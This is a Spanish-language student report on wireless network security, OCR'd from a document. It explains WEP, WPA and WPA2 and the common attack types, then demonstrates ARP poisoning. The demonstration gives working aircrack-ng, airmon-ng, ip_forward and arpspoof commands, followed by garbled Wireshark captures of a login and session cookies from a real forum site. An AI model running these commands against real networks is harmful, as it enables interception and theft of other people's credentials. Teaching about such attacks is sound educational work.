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Introduccion

WLAN es una amplia red inalambrica que permite conectar un equipo a la red para acceder a Internet,
impresoras y demas servicios sin necesidad de cables. Probablemente la desventaja mas grande de las
conexiones inaldmbricas, es que es de facil acceso para los hackers detectar éstas sefiales y obtener su
informacion privada. La transferencia de datos confidenciales sobre una conexioén inaldmbrica plantea graves
riesgos a su identidad como es su informacion personal, tales como nimeros de tarjetas de crédito y datos
bancarios. En la actualidad el tema de la seguridad inalambrica es en el que mas hincapié se esta haciendo. El
nivel de seguridad actual de estas redes esta a afios luz del de sus comienzos. Al ser el aire el medio de
propagacion empleado por las ondas, hace que la informacion esté expuesta a sufrir distintos tipos de ataques,
por lo que es el inconveniente mas importante que presentan las WLAN en cuanto a seguridad.

Resumen

Se investiga parte del funcionamiento de las redes inalambricas, especificamente como esta resguardada
la informacion de quienes estan conectados a la red. En el caso de Wi-fi esta funciona a base de encriptacion de
sus datos, en donde para poder saber el encriptado usado en la sefial se debe conocer algtin usuario y contrasefia
para asi poder recibir correctamente los paquetes enviados desde la red. Es en este punto en donde se enfocan
los ataques a las sefiales inalambricas, en el lograr conocer de alguna manera el usuario y contrasefia de la sefial
para poder recibir sus paquetes. Para impedir que personas no deseables obtengan tal informacién es que existen
diferentes sistemas de seguridad, tales como el WEP, el WPA, el WPA2 entre otros, los cuales se rigen bajo
normas del IEEE (instituto de ingenieros eléctricos y electronicos) encargada de estandarizar estos protocolos de
seguridad, eso si, todos basados en el sistema de usuario/contrasefia. Ya logrando ingresar a la red WLAN es
posible conocer lo que estan descargando los usuarios de la red, logrando asi conocer informacién relevante de
estos, tales como contrasefias, nimeros de tarjetas de crédito, informacion personal, etc. Siendo fundamental la
proteccién de estas sefiales inalambricas.

Objetivos

* Analizar las propuestas de seguridad actuales que hay para este tipo de redes.
* Identificar los diferentes tipos de ataques que se pueden encontrar actualmente.
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Funcionamiento de la red inalambrica

Seguridad a nivel de protocolo:

La seguridad a nivel de protocolo es la encargada de que los datos transmitidos por una WLAN no
puedan ser descifrados por alguien ajeno a nuestra red. Para ello nuestra red ha de tener un algoritmo de
codificacion y gestion de claves.

En primer lugar, el IEEE publicé un algoritmo de seguridad opcional en el estandar 802.11 llamado
WEDP.

WEP:

El protocolo WEP (Wired Equivalent Privacy) es el mecanismo de cifrado basico opcional definido en el
estandar IEEE 802.11. Utiliza el algoritmo de cifrado RC4 (Rivest Cipher 4), para cifrar todos los datos que se
intercambian entre los clientes y el punto de acceso. RC4 consiste en generar una clave de forma
pseudo-aleatoria que tiene la misma longitud que el texto original. A esta clave y al texto original se le aplica la
operacién logica XOR (O exclusiva), obteniendo como resultado un texto cifrado. La clave pseudo-aleatoria se
genera utilizando una clave secreta que define el propio usuario con una longitud de 40 o 104 bits y un vector de
inicializacion (IV) de 24 bits que lo genera aleatoriamente el sistema para cada trama. Pero wep tenia muchos
defectos como era la reutilizacion del vector de inicializacion, del cual se derivan ataques estadisticos que
permiten recuperar la clave WEP. Por lo tanto la IEEE trabajaba en otro algoritmo mas potente, pero la Alianza
Wi-Fi lanz6 un algoritmo alternativo y mas potente que WEP, llamado WPA.

WPA:
WPA (Wifi Protect Access) es el protocolo de seguridad que lanzé la Alianza Wi-Fi para solucionar los
problemas de seguridad del protocolo WEP.

Este protocolo implementa las siguientes mejoras:
* Autenticacion del usuario mediante el IEEE 802.1x (control de acceso a red basada en puertos).
* Soluciona la debilidad del vector inicializacion (IV) de WEP mediante la inclusion de vectores del
doble de longitud (48 bits).
» Utiliza el intercambio dinamico de claves mediante el protocolo TKIP (Temporal Key Integrity
Protocol).
* El algoritmo de cifrado utilizado por WPA sigue siendo RC4 como en WEP, pero para comprobar la
integridad de los mensajes, se cambio el codigo de deteccion de errores CRC-32 por uno nuevo llamado
MIC (Message Integrity Code).

Posteriormente el IEEE publico el estandar 802.11i, también conocido como WPA2.

WPA2:

Aunque tiene el inconveniente de no ser compatible con el hardware anterior, tiene la ventaja de ser
mucho mas seguro. Incluye el intercambio dindmico de la clave, un cifrado mucho més fuerte, y la autenticacion
de usuario, pero afiade las mejoras siguientes:

* Nuevo algoritmo de cifrado AES (Advanced Encryption Standard). Se trata de un algoritmo de cifrado

de bloque simétrico. Utiliza el protocolo CCMP (Counter Mode with Cipher Block Chaining Message

Authentication Code Protocol) para asegurar la integridad y la autenticidad de los mensajes.



Sequridad Inalambrica

Intercepcion de paquetes

Ataques activos :
*Suplantacioén : Consiste en la obtencion de la identidad de un usuario autorizado por parte del atacante.
Este tipo de ataque normalmente incluye otros tipos de ataques activos. Como ejemplos de este tipo de
ataques se tiene: Man in the Middle, MAC Spoofing y ARP Poisoning.
*Reactuacién: Consiste en capturar mensajes legitimos y repetirlos para producir un efecto no deseado,
como podria ser por ejemplo repetir ingresos de dinero, envio masivo de de emails, etc.
*Modificacion : Consiste en capturar mensajes enviados por un usuario autorizado y modificarlos,
borrarlos o reordenarlos, para producir un efecto no autorizado, como podria ser por ejemplo capturar un
mensaje que diga “Realizar un ingreso en efectivo en la cuenta A”, y modificar el niimero de cuenta por
“B”.
*Denegacion de Servicio : Consiste en evitar que los clientes legitimos consigan acceder a la red o a un
servicio que esta ofrezca. Existen varias formas de hacer que esto sea posible, como por ejemplo:
inyectar mucho trafico a la red para disminuir su rendimiento o colapsarla, saturar a peticiones de
autenticacion a un Punto de Acceso inalambrico, etc.

Ataques pasivos :
*Sniffing :Consiste en capturar el trafico de una red para posteriormente poder obtener datos de ellas
como por ejemplo direcciones IP, direcciones MAC, direcciones de correo electrénico, etc.

* Andlisis de trdfico : Consiste en obtener informacion mediante el andlisis del trafico y sus patrones,
como por ejemplo a que hora se encienden ciertos equipos, cuanto trafico se envia, a que horas hay mas
trafico, etc.

En éste informe se centrara en el ataque activo ARP Poisoning.
Ataque ARP Poisoning

Primero se definira el ARP (Address Resolution Protocol), que es un protocolo de la capa de enlace de
datos responsable de encontrar la direccion MAC que corresponde a una determinada direccion IP. Su
funcionamiento, radica en enviar un paquete (ARP request) a la direccion de difusion de la red que contiene la
direccion IP por la que se pregunta, y se espera a que esa maquina (u otra) responda (ARP reply) con la
direccion Ethernet que le corresponde.

ARP Poisoning:
m  Trudy lanza un ARP request a la dir. broadcast
preguntando por la MAC de la IP 192.168.0.1 @
(Gateway) Gatgway

10.10J102.1

N

= El GW contesta con ARP reply indicando cual es su
dir. MAC.

|EWIOU 0S8301¢

m  Trudy lanza un ARP request a la dir. broadcast
preguntando por la MAC de la IP 192.168.0.2 (Alice)

m  Alice contesta con su dir. MAC.

TN
switch
= Trudy envia reiteradamente ARP reply falsos, a
Alice y al GW, asociando la IP de ambos con su

propia MAC.

A Alice le hace creer que él es el GW Alice Trudy
192.168.0.2 192.168.0.3

joods

Al GW le hace creer que €l es Alice

Todo el trafico que transite entre el GW y Alice pasara
a través de Trudy
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Demostracion de ataque ARP
* Herramientas a necesitar: $># apt-get install aircrack-ng && apt-get install dsniff
* Activando nuestra tarjeta de red en modo monitor:$># airmon-ng start wlan0
* Con el escenario siguiente: La IP de nuestro router :192.168.1.1 Nuestra IP :192.168.1.106
La IP de nuestra victima: 192.168.1.101

* Configuraremos nuestro sistema para que reenvie todos los paquetes a sus verdaderos destinatarios
mediante el comando: $># echo 1 > /proc/sys/net/ipv4/ip_forward

e Ahora procedemos a envenenar las tablas: Ponemos cada uno de estos comandos en una consola
diferente para indicar que nuestra MAC es la MAC asociada a la IP del router y que también es la MAC
asociada a la IP de nuestra victima:

$> # arpspoof -i wlan0 -t 192.168.1.1 192.168.1.101
$> # arpspoof -i wlan0 -t 192.168.1.101 192.168.1.1

Guake Terminal ® {7 d4) 1236 {F

Guake Terminal = § = ) 1236 {&%

Guake Terminal B = ) 1237 &

K | rook@lonomaster: fhome/manuel || root@lonomaster: /home/manuel || root@lonomaster: fhome/manuel | root@lonomaster: /home/manuel || manuel@lonomaster: ~
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wlan0 [Wireshark 1.8.2]

=y gc wmfxceE Q¢ T & BB gl EEHX @

Filter: |tcp.streameqO : | Expression...  Clear Guardar  Filter
No. Time Source Destination Protocol | Length Info

59 3.229631000 192.168.1.101 204.87.169.80 TCP 66 51952 > http [SYN] Seq=0 Win=8192 Len=0 MS55=146@ WS=4 SACK PERM=1

60 3.229711000 192.168.1.1606 ICMP 94 Redirect Redirect fo ost

61 3.229749000 192.168.1.101 204.87.169.80 TCP 66 51952 > http [SYN] Seq=0 Win=8192 Len=0 MS55=146@ WS=4 SACK PERM=1

63 3.248730000 204.87.169.80 192.168.1.101 TCP 66 http > 51952 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 M55=1380 SACK PERM=1 W5=128
64 3.248744000 204.87.169.80 192.168.1.101 TCP 66 http > 51952 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 M55=1380 SACK PERM=1 W5=128
66 3.249957000 192.168.1.101 204.87.169.80 TCP 54 51952 > http [ACK] Seg=1 Ack=1 Win=16560 Len=0

68 3.253135000 192.168.1.101 204.87.169.80 HTTP 966 POST /foro/ucp.php?mode=login HTTP/1.1 (application/x-www-form-urlencoded)

70 3.276881000 204.87.169.80 182.168.1. TCP 60 http = 51952 [ACK] Seg=1 Ack=913 Win=16512 Len=80

82 3.555576000 204.87.169.80 192.168.1.101 HTTP 696 HTTP/1.1 302 Moved Temporarily

> Frame 69: 966 bytes on wire (7728 bits), 966 bytes captured (7728 bits) on interface ®

» Ethernet II, Src: IntelCor_3d:5a:81 (dc:a9:71:3d:5a:81), Dst: Cisco-Li 9e:ec:96 (80:25:9c:9e:ec:96)
» Internet Protocol Version 4, Src: 192.168.1.101 (192.168.1.181), Dst: 204.87.169.80 (284.87.169.88

b Transmission Control Protecol, Src Port: 51952 (51952), Dst Port: http (80), Seq: 1, Ack: 1, Len: 912
+ Hypertext Transfer Protocol

b lina-hacad tavt data:. annlicatioan/¥-wnai-farm-urlencadad

0060 80 25 9c 9 ec 96 dc a9 71 3d 5a 81 08 60 45 80 . TN gq=Z...E.
0016 ©3 b8 51 38 40 00 7f 06 &f 52 c® a8 01 65 cc 57 ..08@... oR...e.W
00820 a9 50 ca fO 00 50 58 d1 52 5b fa 8b bb 09 58 18 P...PX. R[....P.
6830 10 2c 18 b5 00 @0 50 4f 53 54 20 2f 66 6f 72 &6f .,....PO ST /foro

Be4e 2f 75 63 70 2e 70 68 70 3f 6d 6T 64 65 3d 6c 6T Jucp.php 7mode=lo
0058 67 69 6e 20 48 54 54 50 2f 31 2e 31 0d Ga 48 6T gin HTTP /1.1..Ho
Be68 73 74 3a 20 73 6f 79 73 61 6e 73 61 6e 6f 2e 63 st: soys ansano.c
00876 6c @d @a 43 6T 6e 6e 65 63 74 69 6T 6e 3a 20 6b 1..Conne ction: k
0080 65 65 70 2d 61 6c 69 76 65 0d 0a 43 6T 6e 74 65 eep-aliv e..Conte
0090 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 30 od @a 43 nt-Lengt h: 56..C
60a0 61 63 68 65 2d 43 6f 6e 74 72 6T 6¢ 3a 20 6d 61 ache-Con trol: ma
0ebe 78 2d 61 67 65 3d 30 6d ©a 41 63 63 65 70 74 32 x-age=0. .Accept:
00ce 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6C 69 text/ht ml.appli
O File: "/ftmp/wireshark_wlan0_2013... - Packets: 111 Displayed: 20 Marked: 0 Dropped: 0 Profile: Default

redes (~/Escritorio) - wlan0 [Wireshark 1.8.2 reaes = ] 0329 LIsta de clases-... .0dl-Libre...
[ [ redes (~/Escritorio) I ireshark ™ red Elo329: Lista de cl B SEGURIDAD.odkt - Libi

Wireshark

S & @

Filter: |tcp.streameqO

Stream Content

origin: http://soysansano.cl
User-Agent: Mozilla/5.0@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.95 Safari/537.36

Content-Type: application/x-www-form-urlencoded
A S 2R (el [ Lo LG | Referer: http://soysansano.cl/foro/index.php?sid=b8c0df513f853bcf3534e0T218541%e6
63 3.248730000 204.87.169.80 | Accept-Encoding: gzip,deflate,sdch
64 3.248744000 204.87.169.80 | Accept-Language: es-ES,es;q=6.8
66 3.249957000 192.168.1.101 | Cookie: phpbb3 anc3m u=1; phpbb3 anc3m k=;

phpbb3 anc3m sid=b8cOdf513f853bcT3534e0f2185419e6; style cookie=null;
683.253135600 102, 168.1. 101 | s O 1377014540;  uine-31458620;  uinzo31438620.1373498020. 1, Lutncsr= | [ far-urlencaded)
RS L A bR B L [(direct) |utmccn=(direct) |utmemd={none) - R
70 3.276881000 204.87.169.80 |

No. Time Source
59 3.2296316000 192.166.1.101
6 168.1.106

SACK PERM=1

SACK PERM=1
1380 SACK PERM=1 W5=128
1380 SACK PERM=1 W5=128

(application/x-www-form-urlenc

&login=EntrarHTTP/1.1 302 Moved Temporarily
82 3.555576000 204.87.169.80 | Server: nginx
Date: Tue, 28 Aug 2013 16:38:32 GMT
= | Content-Type: text/html; charset=UTF-8
» Frame 69: 966 bytes on wire (7728 bil cgonnection: keep-alive
» Ethernet II, Src: IntelCor 3d:5a:81 | Keep-Alive: timeout=66
» Internet Protocol Version 4, Src: 19 Set-Cookie: phpbb3_anc3m u=8958; expires=Wed, 20-Aug-2614 16:30:32 GMT; path=/;
» Transmission Control Protocol, src p( domain=.soysansano.cl; Httponly
» Hypertext Transfer Protocol | Set—;ookle: phpbb3 anc3m k=; expires=Wed, 20-Aug-2014 16:30:32 GMT; path=/;
> > > domain=.snvsansann.cl: HttoOnlv
b lina-hacad tavt data: annliratinn/v-y

0000 80 25 9¢ 9e ec 96 dc a9 71 3d 5 | Entire conversation (1554 bytes) =

0010 ©3 b8 51 38 40 00 7f 06 6f 52 C

0020 a9 50 ca fO @0 50 58 d1 52 5b f Buscar || Guardarcomo || Imprimir [ Ascll () EBCDIC () HexDump () CArrays @ Raw
0030 18 2Zc 18 b5 00 80 50 4f 53 54 2

0040 2f 75 63 78 2e 70 68 70 3f 6d 6

0850 67 69 6e 20 48 54 54 58 2f 31 2 Ayuda Filter Out This Stream | | Cerrar |

0060 73 74 3a 28 73 6f 79 73 61 6e 7

0878 6c 0d Ba 43 6f 6e 6e 65 63 74 69 6T 6e 3a 20 6b  1..Conne ction: k
0080 65 65 70 2d 61 6c 69 76 65 Bd Ba 43 6f 6e 74 65 eep-aliv e..Conte
0090 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 30 0d 03 43 nt-Lengt h: 58@..C
60a@ 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 ache-Con trol: ma
00be 78 2d 61 67 65 3d 30 6d ©a 41 63 63 65 70 74 3a x-age=0. .Accept:
00cOd 20 74 65 78 74 2f 68 74 6d 6¢c 2c 61 70 70 6C 69 text/ht ml.appli
QO File: "/tmp/wireshark_wlan0_2013... - Packets: 111 Displayed: 20 Marked: 0 Dropped: 0 Profile: Default

ollow TCP Stream ™ redes 9: Lista de clases-... By SEGURIDAD.odt-

» Para terminar nuestra demostracion se aprecia los datos capturados de un login y su respectiva password
en el sitio http://www.soysansano.cl
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Soluciones que se deben implementar para el ataque ARP

Un método para prevenir el ARP Poisoning, es el uso de tablas ARP estaticas, es decir afiadir entradas
estaticas ARP, de forma que no existe caché dinamica, cada entrada de la tabla mapea una direccion MAC con
su correspondiente direccion IP. Sin embargo, esta no es una solucién practica, sobre todo en redes grandes,
debido al enorme esfuerzo necesario para mantener las tablas ARP actualizadas: cada vez que se cambie la
direccion IP de un equipo, es necesario actualizar todas las tablas de todos los equipos de la red.

Conclusiones

En el dmbito personal o doméstico, la seguridad que existe actualmente con WPA2 es suficiente, ya
que, la importancia de la informacién que se puede llegar a obtener en este tipo de dmbitos no merece la
pena la dedicacién de tiempo y recursos para poder obtenerla.

En cambio, en el dmbito empresarial, la cosa es distinta., WPA2 no es suficiente y se debe tener
mucha mas seguridad, pero aun asi este tipo de redes nunca sera completamente segura.

Referencias
<http://www.cisco.com/en/US/docs/solutions/Enterprise/Mobility/emob30dg/RFDesign.html>
<http://www.wi-fi.org/>
<http://www.wikipedia.org/>
<http://www.hsc.fr/ressources/articles/hakin9_wifi/hakin9_wifi_ES.pdf>
<http://www.docstoc.com/docs/27566993/Seguridad-en-Redes-Wireless-80211-abg>
<http://www.wifiway.org/>

<http://www.seguridadwireless.net/hwagm/manual-aircrack-ng-castellano.html>
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